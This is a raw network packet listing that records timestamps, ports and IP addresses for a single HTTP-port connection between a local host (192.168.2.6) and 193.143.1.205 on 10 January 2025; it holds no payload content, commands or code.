Jan 10, 2025 21:42:22.328150988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328170061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328180075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328186035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328186035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328192949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328206062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328361988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328387976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328401089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328434944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328448057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328515053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328515053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328653097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328783035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328845978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328856945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328869104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328895092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328942060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328978062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329019070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.329044104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329056025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329104900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.329123974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329135895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329147100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329159021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329170942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329176903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329189062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329200983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.329335928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.329844952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329919100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.329946995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329969883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329982042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.329993963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330005884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330007076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330018997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330034971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330046892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330058098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330069065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330070019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330070019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330112934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330112934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330795050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330807924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330818892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330838919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330852032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330868006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330876112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330876112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330881119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330893040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330903053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330914021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.330920935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330920935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.330926895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331006050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.331718922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331732035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331743002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331762075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.331763983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331779003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331789970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331803083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.331803083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331815958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331828117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331839085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331850052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.331851006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.331851006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.331892014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.331892967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.332572937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.334053993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.338514090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338525057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338536978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338557005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338567019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.338567972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338581085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338593960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338649988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.338649988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.338749886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338788986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338799953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338835001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.338880062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338913918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338924885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338934898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.338960886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.338960886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.339073896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.339086056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.339097023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.339112043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.339139938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.339270115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.372828007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.372853041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.372864008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.372872114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.372875929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.372925043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.372967005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.414683104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414697886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414710045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414789915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.414827108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414844990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414856911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414868116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414869070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.414881945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414895058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414906979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414920092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.414920092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.414980888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.414983034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.414993048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415004015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415066957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.415112972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415132046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415143967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415153980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415153980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.415168047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415213108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.415230036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.415389061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415400982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415411949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415422916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.415445089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.415463924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456522942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456536055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456558943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456568956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456659079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456682920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456703901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456715107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456748962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456748962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456789017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456800938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456831932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456835985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456849098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456861019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456921101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456933975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456945896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456957102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456959963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456959963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456969976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456980944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.456998110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.456998110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457052946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457305908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457318068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457329035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457341909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457364082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457387924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457415104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457598925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457609892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457622051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457638025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457649946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457659960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457670927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457673073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457681894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457699060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457710028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457719088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457719088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457727909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457739115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.457779884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.457814932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458173037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458190918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458209038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458219051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458220005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458231926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458244085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458255053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458266973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458271027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458271027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458280087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458317041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458317041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458715916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458735943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458755016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458766937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458780050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458781958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458794117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458806038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458816051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458826065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458842039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458849907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458849907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458856106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458868980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458879948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458890915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458901882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458911896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458914042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458911896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458929062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458942890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.458954096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.458955050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459032059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459520102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459701061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459718943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459732056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459743023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459753990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459767103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459778070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459788084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459788084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459800005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459811926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459821939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459835052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459842920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459842920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459846973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459860086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459870100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459882021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459882975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459882975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459894896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459908962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.459918022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.459918022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.460010052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.460285902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.460467100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460573912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460585117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460596085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460607052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460618973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460628986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.460628986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.460629940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460643053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.460673094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.460673094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.461520910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461532116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461544037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461594105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461599112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.461606979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461621046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461632013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.461635113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.461698055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.465411901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501377106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501405001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501415968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501434088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501435995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501449108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501467943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501521111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501563072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501583099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501596928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501605988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501616955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501637936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501641035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501653910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501662970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501666069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501677990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501694918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501713991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501725912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501725912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501725912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501738071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501751900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501763105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501770973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501770973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501775026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501785994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501789093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501802921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501806021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501816988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.501857042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.501873016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.515453100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543495893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543551922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543570995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543582916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543590069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543593884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543607950 CET	80	49710	193.143.1.205	192.168.2.6
